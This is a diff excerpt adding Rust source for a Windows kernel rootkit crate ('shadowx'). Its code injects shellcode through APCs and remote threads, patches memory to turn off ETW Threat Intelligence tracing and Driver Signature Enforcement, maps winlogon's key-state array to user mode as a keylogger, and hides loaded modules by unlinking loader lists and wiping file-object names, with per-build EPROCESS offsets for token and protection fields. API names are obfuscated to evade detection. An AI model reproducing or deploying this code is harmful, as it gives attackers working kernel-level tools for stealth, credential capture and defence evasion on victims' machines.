THREAD_ALL_ACCESS,
|
||||||
|
&mut obj_attr,
|
||||||
|
h_process.get(),
|
||||||
|
transmute(function_address),
|
||||||
|
base_address,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
null_mut()
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close the handle to the thread
|
||||||
|
ZwClose(h_thread);
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/// Kernel APC callback function.
|
||||||
|
///
|
||||||
|
/// This callback is triggered when the kernel APC is executed.
|
||||||
|
/// It ensures that the thread is alertable and then frees the allocated APC structure.
|
||||||
|
pub unsafe extern "system" fn kernel_apc_callback(
|
||||||
|
apc: PKAPC,
|
||||||
|
_normal_routine: *mut PKNORMAL_ROUTINE,
|
||||||
|
_normal_context: *mut PVOID,
|
||||||
|
_system_argument1: *mut PVOID,
|
||||||
|
_system_argument2: *mut PVOID
|
||||||
|
) {
|
||||||
|
// Ensure the thread is alertable in user mode
|
||||||
|
KeTestAlertThread(UserMode as i8);
|
||||||
|
|
||||||
|
// Free the APC object
|
||||||
|
ExFreePool(apc as _)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// User APC callback function.
|
||||||
|
///
|
||||||
|
/// This callback is triggered when the user APC is executed.
|
||||||
|
/// It checks if the thread is terminating and frees the APC structure when done.
|
||||||
|
pub unsafe extern "system" fn user_apc_callback(
|
||||||
|
apc: PKAPC,
|
||||||
|
normal_routine: *mut PKNORMAL_ROUTINE,
|
||||||
|
_normal_context: *mut PVOID,
|
||||||
|
_system_argument1: *mut PVOID,
|
||||||
|
_system_argument2: *mut PVOID
|
||||||
|
) {
|
||||||
|
// Check if the current thread is terminating and prevent the shellcode from executing
|
||||||
|
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
|
||||||
|
*normal_routine = None;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Free the APC object
|
||||||
|
ExFreePool(apc as _)
|
||||||
|
}
|
||||||
42
crates/shadowx/src/lib.rs
Normal file
42
crates/shadowx/src/lib.rs
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
#![no_std]
|
||||||
|
#![allow(unused_must_use)]
|
||||||
|
#![allow(unused_variables)]
|
||||||
|
|
||||||
|
extern crate alloc;
|
||||||
|
|
||||||
|
mod process;
|
||||||
|
pub use process::*;
|
||||||
|
|
||||||
|
mod thread;
|
||||||
|
pub use thread::*;
|
||||||
|
|
||||||
|
mod injection;
|
||||||
|
pub use injection::*;
|
||||||
|
|
||||||
|
mod module;
|
||||||
|
pub use module::*;
|
||||||
|
|
||||||
|
mod misc;
|
||||||
|
pub use misc::*;
|
||||||
|
|
||||||
|
mod driver;
|
||||||
|
pub use driver::*;
|
||||||
|
|
||||||
|
pub mod port;
|
||||||
|
pub use port::*;
|
||||||
|
|
||||||
|
pub mod error;
|
||||||
|
|
||||||
|
pub mod data;
|
||||||
|
pub use data::*;
|
||||||
|
|
||||||
|
pub mod registry;
|
||||||
|
pub use registry::*;
|
||||||
|
|
||||||
|
pub mod callback;
|
||||||
|
pub use callback::*;
|
||||||
|
|
||||||
|
pub mod utils;
|
||||||
|
pub use utils::*;
|
||||||
|
|
||||||
|
mod offsets;
|
||||||
177
crates/shadowx/src/misc.rs
Normal file
177
crates/shadowx/src/misc.rs
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
core::{ffi::c_void, ptr::null_mut},
|
||||||
|
wdk_sys::{
|
||||||
|
*, ntddk::*,
|
||||||
|
_MODE::UserMode,
|
||||||
|
_MEMORY_CACHING_TYPE::MmCached,
|
||||||
|
_MM_PAGE_PRIORITY::NormalPagePriority,
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
uni, Process,
|
||||||
|
TRACE_ENABLE_INFO,
|
||||||
|
error::ShadowError,
|
||||||
|
get_process_by_name,
|
||||||
|
process_attach::ProcessAttach,
|
||||||
|
patterns::{ETWTI_PATTERN, scan_for_pattern},
|
||||||
|
address::{get_function_address, get_module_base_address},
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Represents ETW (Event Tracing for Windows) in the operating system.
|
||||||
|
///
|
||||||
|
/// The `Etw` struct provides methods for interacting with and manipulating
|
||||||
|
/// the ETW framework, including enabling or disabling ETW tracing through the ETWTI structure.
|
||||||
|
pub struct Etw;
|
||||||
|
|
||||||
|
impl Etw {
|
||||||
|
/// Enables or disables ETW (Event Tracing for Windows) tracing by modifying the ETWTI structure.
|
||||||
|
///
|
||||||
|
/// This function scans for the ETWTI (Event Tracing for Windows Threat Intelligence) structure
|
||||||
|
/// and adjusts the `IsEnabled` field to either enable or disable ETW tracing. It uses a pattern
|
||||||
|
/// search to locate the ETWTI structure in memory.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) ETW tracing.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - If the operation is successful.
|
||||||
|
/// * `Err(ShadowError)` - If any error occurs while finding the function or modifying the ETWTI structure.
|
||||||
|
pub unsafe fn etwti_enable_disable(enable: bool) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Convert function name to Unicode string for lookup
|
||||||
|
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
|
||||||
|
|
||||||
|
// Get the system routine address for the function
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
|
|
||||||
|
// Scan for the ETWTI structure using a predefined pattern
|
||||||
|
let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000)?;
|
||||||
|
|
||||||
|
// Calculate the offset to the TRACE_ENABLE_INFO structure and modify the IsEnabled field
|
||||||
|
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
|
||||||
|
(*trace_info).IsEnabled = if enable { 0x01 } else { 0x00 };
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents Driver Signature Enforcement (DSE) in the operating system.
|
||||||
|
///
|
||||||
|
/// The `Dse` struct provides functionality to manipulate the state of DSE,
|
||||||
|
/// which is responsible for enforcing the signature requirement on kernel-mode drivers.
|
||||||
|
pub struct Dse;
|
||||||
|
|
||||||
|
impl Dse {
|
||||||
|
/// Modifies the Driver Signature Enforcement (DSE) state.
|
||||||
|
///
|
||||||
|
/// This function locates the `g_ciOptions` structure in memory, which controls the DSE state, and modifies it to either enable or disable
|
||||||
|
/// driver signature enforcement.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) driver signature enforcement.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - If the operation is successful.
|
||||||
|
/// * `Err(ShadowError)` - If the function fails to find or modify the DSE state.
|
||||||
|
pub unsafe fn set_dse_state(enable: bool) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Get the base address of the CI.dll module, where the relevant function resides
|
||||||
|
let module_address = get_module_base_address(obfstr!("CI.dll"))?;
|
||||||
|
|
||||||
|
// Get the address of the CiInitialize function within CI.dll
|
||||||
|
let function_address = get_function_address(obfstr!("CiInitialize"), module_address)?;
|
||||||
|
|
||||||
|
// Search for the memory pattern that represents the initialization of DSE
|
||||||
|
let instructions = [0x8B, 0xCD];
|
||||||
|
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89)?;
|
||||||
|
|
||||||
|
// Locate the g_ciOptions structure based on a pattern in the CiInitialize function
|
||||||
|
let instructions = [0x49, 0x8b, 0xE9];
|
||||||
|
let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21)?;
|
||||||
|
|
||||||
|
// Modify g_ciOptions to either enable or disable DSE based on the input flag
|
||||||
|
if enable {
|
||||||
|
*(g_ci_options as *mut u64) = 0x0006_u64;
|
||||||
|
} else {
|
||||||
|
*(g_ci_options as *mut u64) = 0x000E_u64;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents keylogger operations in the system.
|
||||||
|
///
|
||||||
|
/// The `Keylogger` struct provides methods to retrieve and map memory for tracking key states
|
||||||
|
/// by interacting with the `gafAsyncKeyState` array in the `winlogon.exe` process.
|
||||||
|
pub struct Keylogger;
|
||||||
|
|
||||||
|
impl Keylogger {
|
||||||
|
/// Retrieves the address of the `gafAsyncKeyState` array in the `winlogon.exe` process and maps it to user-mode.
|
||||||
|
///
|
||||||
|
/// This function finds the process ID of `winlogon.exe`, attaches to the process, retrieves the address of the `gafAsyncKeyState` array,
|
||||||
|
/// and maps it into the user-mode address space for the process.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut c_void)` - If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`.
|
||||||
|
/// * `Err(ShadowError)` - If any error occurs while finding the address or mapping memory.
|
||||||
|
pub unsafe fn get_user_address_keylogger() -> Result<*mut c_void, ShadowError> {
|
||||||
|
// Get the PID of winlogon.exe
|
||||||
|
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
|
||||||
|
|
||||||
|
// Attach to the winlogon.exe process
|
||||||
|
let winlogon_process = Process::new(pid)?;
|
||||||
|
let attach_process = ProcessAttach::new(winlogon_process.e_process);
|
||||||
|
|
||||||
|
// Retrieve the address of gafAsyncKeyState
|
||||||
|
let gaf_async_key_state_address = Self::get_gafasynckeystate_address()?;
|
||||||
|
|
||||||
|
// Validate the address before proceeding
|
||||||
|
if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 {
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("MmIsAddressValid", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allocate an MDL (Memory Descriptor List) to manage the memory
|
||||||
|
let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut());
|
||||||
|
if mdl.is_null() {
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("IoAllocateMdl", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build the MDL for the non-paged pool
|
||||||
|
MmBuildMdlForNonPagedPool(mdl);
|
||||||
|
|
||||||
|
// Map the locked pages into user-mode address space
|
||||||
|
let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32);
|
||||||
|
if address.is_null() {
|
||||||
|
IoFreeMdl(mdl);
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("MmMapLockedPagesSpecifyCache", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(address)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the address of the `gafAsyncKeyState` array.
|
||||||
|
///
|
||||||
|
/// This function uses a pattern search to locate the `gafAsyncKeyState` array in the `win32kbase.sys` module.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut u8)` - Returns a pointer to the `gafAsyncKeyState` array if found.
|
||||||
|
/// * `Err(ShadowError)` - If the array is not found or an error occurs during the search.
|
||||||
|
unsafe fn get_gafasynckeystate_address() -> Result<*mut u8, ShadowError> {
|
||||||
|
// Get the base address of win32kbase.sys
|
||||||
|
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
||||||
|
|
||||||
|
// Get the address of the NtUserGetAsyncKeyState function
|
||||||
|
let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
||||||
|
|
||||||
|
// Search for the pattern that identifies the gafAsyncKeyState array
|
||||||
|
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
|
||||||
|
let pattern = [0x48, 0x8B, 0x05];
|
||||||
|
scan_for_pattern(function_address, &pattern, 3, 7, 0x200)
|
||||||
|
}
|
||||||
|
}
|
||||||
244
crates/shadowx/src/module.rs
Normal file
244
crates/shadowx/src/module.rs
Normal file
@@ -0,0 +1,244 @@
|
|||||||
|
use {
|
||||||
|
wdk_sys::*,
|
||||||
|
alloc::vec::Vec,
|
||||||
|
winapi::shared::ntdef::LIST_ENTRY,
|
||||||
|
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::{
|
||||||
|
process::Process,
|
||||||
|
error::ShadowError,
|
||||||
|
data::{
|
||||||
|
MMVAD_SHORT, MMVAD,
|
||||||
|
PsGetProcessPeb
|
||||||
|
},
|
||||||
|
offsets::get_vad_root,
|
||||||
|
utils::process_attach::ProcessAttach
|
||||||
|
};
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ModuleInfo {
|
||||||
|
pub name: [u16; 256],
|
||||||
|
pub address: usize,
|
||||||
|
pub index: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents a module in the operating system.
|
||||||
|
pub struct Module;
|
||||||
|
|
||||||
|
impl Module {
|
||||||
|
|
||||||
|
/// VAD Type for an image map.
|
||||||
|
const VAD_IMAGE_MAP: u32 = 2;
|
||||||
|
|
||||||
|
/// Enumerates modules in a given target process.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `process` - A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
|
||||||
|
/// * `module_info` - A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
|
||||||
|
/// * `information` - A mutable reference to a `usize` that will store additional information about the module enumeration.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `NTSTATUS` - Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
|
||||||
|
pub unsafe fn enumerate_module(pid: usize) -> Result<Vec<ModuleInfo>, ShadowError> {
|
||||||
|
let mut modules: Vec<ModuleInfo> = Vec::with_capacity(276);
|
||||||
|
|
||||||
|
// Attaches the target process to the current context
|
||||||
|
let target = Process::new(pid)?;
|
||||||
|
let mut attach_process = ProcessAttach::new(target.e_process);
|
||||||
|
|
||||||
|
// Gets the PEB (Process Environment Block) of the target process
|
||||||
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enumerates the loaded modules from the InLoadOrderModuleList
|
||||||
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||||
|
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||||
|
let mut count = 0;
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
if next.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("LIST_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if list_entry.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the module name from the `FullDllName` field, converting it from UTF-16 to a Rust string
|
||||||
|
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||||
|
if buffer.is_empty() {
|
||||||
|
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
// Populates the `ModuleInfo` structure with name, address, and index
|
||||||
|
modules.push(ModuleInfo {
|
||||||
|
name,
|
||||||
|
address: (*list_entry).DllBase as usize,
|
||||||
|
index: count as u8,
|
||||||
|
});
|
||||||
|
|
||||||
|
count += 1;
|
||||||
|
|
||||||
|
// Move to the next module in the list
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Detaches the target process
|
||||||
|
attach_process.detach();
|
||||||
|
|
||||||
|
Ok(modules)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hides a module in a target process by removing its entries from the module list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target` - A pointer to a `TargetModule` structure containing information about the module to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - If the module is successfully hidden.
|
||||||
|
/// * `Err(ShadowError)` - If an error occurs when trying to hide the module.
|
||||||
|
pub unsafe fn hide_module(pid: usize, module_name: &str) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
let target = Process::new(pid)?;
|
||||||
|
let mut attach_process = ProcessAttach::new(target.e_process);
|
||||||
|
|
||||||
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
||||||
|
}
|
||||||
|
|
||||||
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||||
|
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||||
|
let mut address = core::ptr::null_mut();
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
if next.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if list_entry.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||||
|
if buffer.is_empty() {
|
||||||
|
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the module name matches
|
||||||
|
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||||
|
if dll_name.to_lowercase() == module_name.to_lowercase() {
|
||||||
|
|
||||||
|
// Removes the module from the load order list
|
||||||
|
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
|
||||||
|
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
|
||||||
|
Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks);
|
||||||
|
Self::remove_link(&mut (*list_entry).HashLinks);
|
||||||
|
address = (*list_entry).DllBase;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Detaches the target process
|
||||||
|
attach_process.detach();
|
||||||
|
|
||||||
|
if !address.is_null() {
|
||||||
|
Self::hide_object(address as u64, target);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removing the module name in the FILE_OBJECT structure.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_address` - The address of the module to hide.
|
||||||
|
/// * `process` - The target process structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `NTSTATUS` - Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
|
||||||
|
pub unsafe fn hide_object(target_address: u64, process: Process) -> Result<(), NTSTATUS> {
|
||||||
|
let vad_root = get_vad_root();
|
||||||
|
let vad_table = process.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
|
||||||
|
|
||||||
|
// Uses a stack to iteratively traverse the tree
|
||||||
|
let mut stack = alloc::vec![vad_table];
|
||||||
|
while let Some(current_node) = stack.pop() {
|
||||||
|
if current_node.is_null() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Converts the current node to an MMVAD_SHORT
|
||||||
|
let vad_short = current_node as *mut MMVAD_SHORT;
|
||||||
|
|
||||||
|
// Calculates start and end addresses
|
||||||
|
let mut start_address = (*vad_short).StartingVpn as u64;
|
||||||
|
let mut end_address = (*vad_short).EndingVpn as u64;
|
||||||
|
|
||||||
|
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
|
||||||
|
start_address |= ((*vad_short).StartingVpnHigh as u64) << 32;
|
||||||
|
end_address |= ((*vad_short).EndingVpnHigh as u64) << 32;
|
||||||
|
|
||||||
|
// Multiply the addresses by 0x1000 (page size) to get the real addresses
|
||||||
|
let start_address = start_address * 0x1000;
|
||||||
|
let end_address = end_address * 0x1000;
|
||||||
|
|
||||||
|
if (*vad_short).u.VadFlags.VadType() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address {
|
||||||
|
let long_node = vad_short as *mut MMVAD;
|
||||||
|
|
||||||
|
let subsection = (*long_node).SubSection;
|
||||||
|
if subsection.is_null() || (*subsection).ControlArea.is_null() || (*(*subsection).ControlArea).FilePointer.Inner.Object.is_null() {
|
||||||
|
return Err(STATUS_INVALID_ADDRESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) as *mut FILE_OBJECT;
|
||||||
|
core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stack the right node (if there is one)
|
||||||
|
if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() {
|
||||||
|
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stack the left node (if there is one)
|
||||||
|
if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() {
|
||||||
|
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a link from the list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `list` - A mutable reference to the `LIST_ENTRY` structure to unlink.
|
||||||
|
unsafe fn remove_link(list: &mut LIST_ENTRY) {
|
||||||
|
let next = list.Flink;
|
||||||
|
let previous = list.Blink;
|
||||||
|
|
||||||
|
(*next).Blink = previous;
|
||||||
|
(*previous).Flink = next;
|
||||||
|
|
||||||
|
list.Flink = list;
|
||||||
|
list.Blink = list;
|
||||||
|
}
|
||||||
|
}
|
||||||
189
crates/shadowx/src/offsets.rs
Normal file
189
crates/shadowx/src/offsets.rs
Normal file
@@ -0,0 +1,189 @@
|
|||||||
|
use spin::Lazy;
|
||||||
|
use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW};
|
||||||
|
|
||||||
|
/// Constant values for Windows build numbers.
|
||||||
|
const WIN_1507: u32 = 10240;
|
||||||
|
const WIN_1511: u32 = 10586;
|
||||||
|
const WIN_1607: u32 = 14393;
|
||||||
|
const WIN_1703: u32 = 15063;
|
||||||
|
const WIN_1709: u32 = 16299;
|
||||||
|
const WIN_1803: u32 = 17134;
|
||||||
|
const WIN_1809: u32 = 17763;
|
||||||
|
const WIN_1903: u32 = 18362;
|
||||||
|
const WIN_1909: u32 = 18363;
|
||||||
|
const WIN_2004: u32 = 19041;
|
||||||
|
const WIN_20H2: u32 = 19042;
|
||||||
|
const WIN_21H1: u32 = 19043;
|
||||||
|
const WIN_21H2: u32 = 19044;
|
||||||
|
const WIN_22H2: u32 = 19045;
|
||||||
|
|
||||||
|
/// Constant values for Windows build numbers (Not currently used)
|
||||||
|
#[allow(dead_code)]
|
||||||
|
const WIN_1121H2: u32 = 22000;
|
||||||
|
#[allow(dead_code)]
|
||||||
|
const WIN_1122H2: u32 = 22621;
|
||||||
|
|
||||||
|
/// Holds the Windows build number initialized at runtime.
|
||||||
|
///
|
||||||
|
/// This value is fetched using the `get_windows_build_number` function,
|
||||||
|
/// which utilizes the `RtlGetVersion` API from the Windows kernel.
|
||||||
|
static BUILD_NUMBER: Lazy<u32> = Lazy::new(|| get_windows_build_number());
|
||||||
|
|
||||||
|
/// Retrieves the process lock offset based on the current Windows build number.
|
||||||
|
///
|
||||||
|
/// This function returns the offset for the process lock field in the `EPROCESS` structure
|
||||||
|
/// for the current version of Windows.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The offset (in bytes) to the process lock field.
|
||||||
|
#[inline]
|
||||||
|
pub fn get_process_lock() -> isize {
|
||||||
|
match *BUILD_NUMBER {
|
||||||
|
WIN_1507 => 0x608,
|
||||||
|
WIN_1511 => 0x610,
|
||||||
|
WIN_1607 => 0x620,
|
||||||
|
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
|
||||||
|
WIN_1903 | WIN_1909 => 0x658,
|
||||||
|
_ => 0x7d8,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the active process link offset based on the current Windows build number.
|
||||||
|
///
|
||||||
|
/// This function returns the offset for the active process link in the `EPROCESS` structure,
|
||||||
|
/// which points to the list of processes in the active process chain.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The offset (in bytes) to the active process link.
|
||||||
|
#[inline]
|
||||||
|
pub fn get_active_process_link_offset() -> isize {
|
||||||
|
match *BUILD_NUMBER {
|
||||||
|
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1903 | WIN_1909 => 0x2f0,
|
||||||
|
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x2e8,
|
||||||
|
_ => 0x448
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the VAD root offset based on the current Windows build number.
|
||||||
|
///
|
||||||
|
/// This function returns the offset for the VAD (Virtual Address Descriptor) root
|
||||||
|
/// in the `EPROCESS` structure for different Windows versions.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The offset (in bytes) to the VAD root field.
|
||||||
|
#[inline]
|
||||||
|
pub fn get_vad_root() -> u32 {
|
||||||
|
match *BUILD_NUMBER {
|
||||||
|
WIN_1507 => 0x608,
|
||||||
|
WIN_1511 => 0x610,
|
||||||
|
WIN_1607 => 0x620,
|
||||||
|
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
|
||||||
|
WIN_1903 | WIN_1909 => 0x658,
|
||||||
|
_ => 0x7d8,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the token offset based on the current Windows build number.
|
||||||
|
///
|
||||||
|
/// This function returns the offset for the token field in the `EPROCESS` structure,
|
||||||
|
/// which points to the access token that represents the security context of a process.
|
||||||
|
/// The token contains privileges, group memberships, and other security-related information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The offset (in bytes) to the token field in the `EPROCESS` structure.
|
||||||
|
#[inline]
|
||||||
|
pub fn get_token_offset() -> isize {
|
||||||
|
match *BUILD_NUMBER {
|
||||||
|
WIN_1903 | WIN_1909 => 0x360,
|
||||||
|
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709
|
||||||
|
| WIN_1803 | WIN_1809 => 0x358,
|
||||||
|
_ => 0x4b8,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the protection signature offset based on the current Windows build number.
|
||||||
|
///
|
||||||
|
/// This function returns the offset for the protection signature field in the `EPROCESS` structure.
|
||||||
|
/// This field defines the protection type and the signer of the protection for the process,
|
||||||
|
/// allowing certain processes to be protected from termination or modification.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The offset (in bytes) to the protection signature field in the `EPROCESS` structure.
|
||||||
|
#[inline]
|
||||||
|
pub fn get_signature_offset() -> isize {
|
||||||
|
match *BUILD_NUMBER {
|
||||||
|
WIN_1903 | WIN_1909 => 0x6f8,
|
||||||
|
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x6c8,
|
||||||
|
WIN_1607 => 0x6c0,
|
||||||
|
WIN_1511 => 0x6b0,
|
||||||
|
WIN_1507 => 0x6a8,
|
||||||
|
_ => 0x878
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the thread list entry offset based on the current Windows build number.
|
||||||
|
///
|
||||||
|
/// This function returns the offset for the thread list entry in the `EPROCESS` structure.
|
||||||
|
/// The thread list entry links all the threads belonging to a process, allowing the system
|
||||||
|
/// to traverse the list of threads for each process.
|
||||||
|
///
|
||||||
|
/// # Returns
|
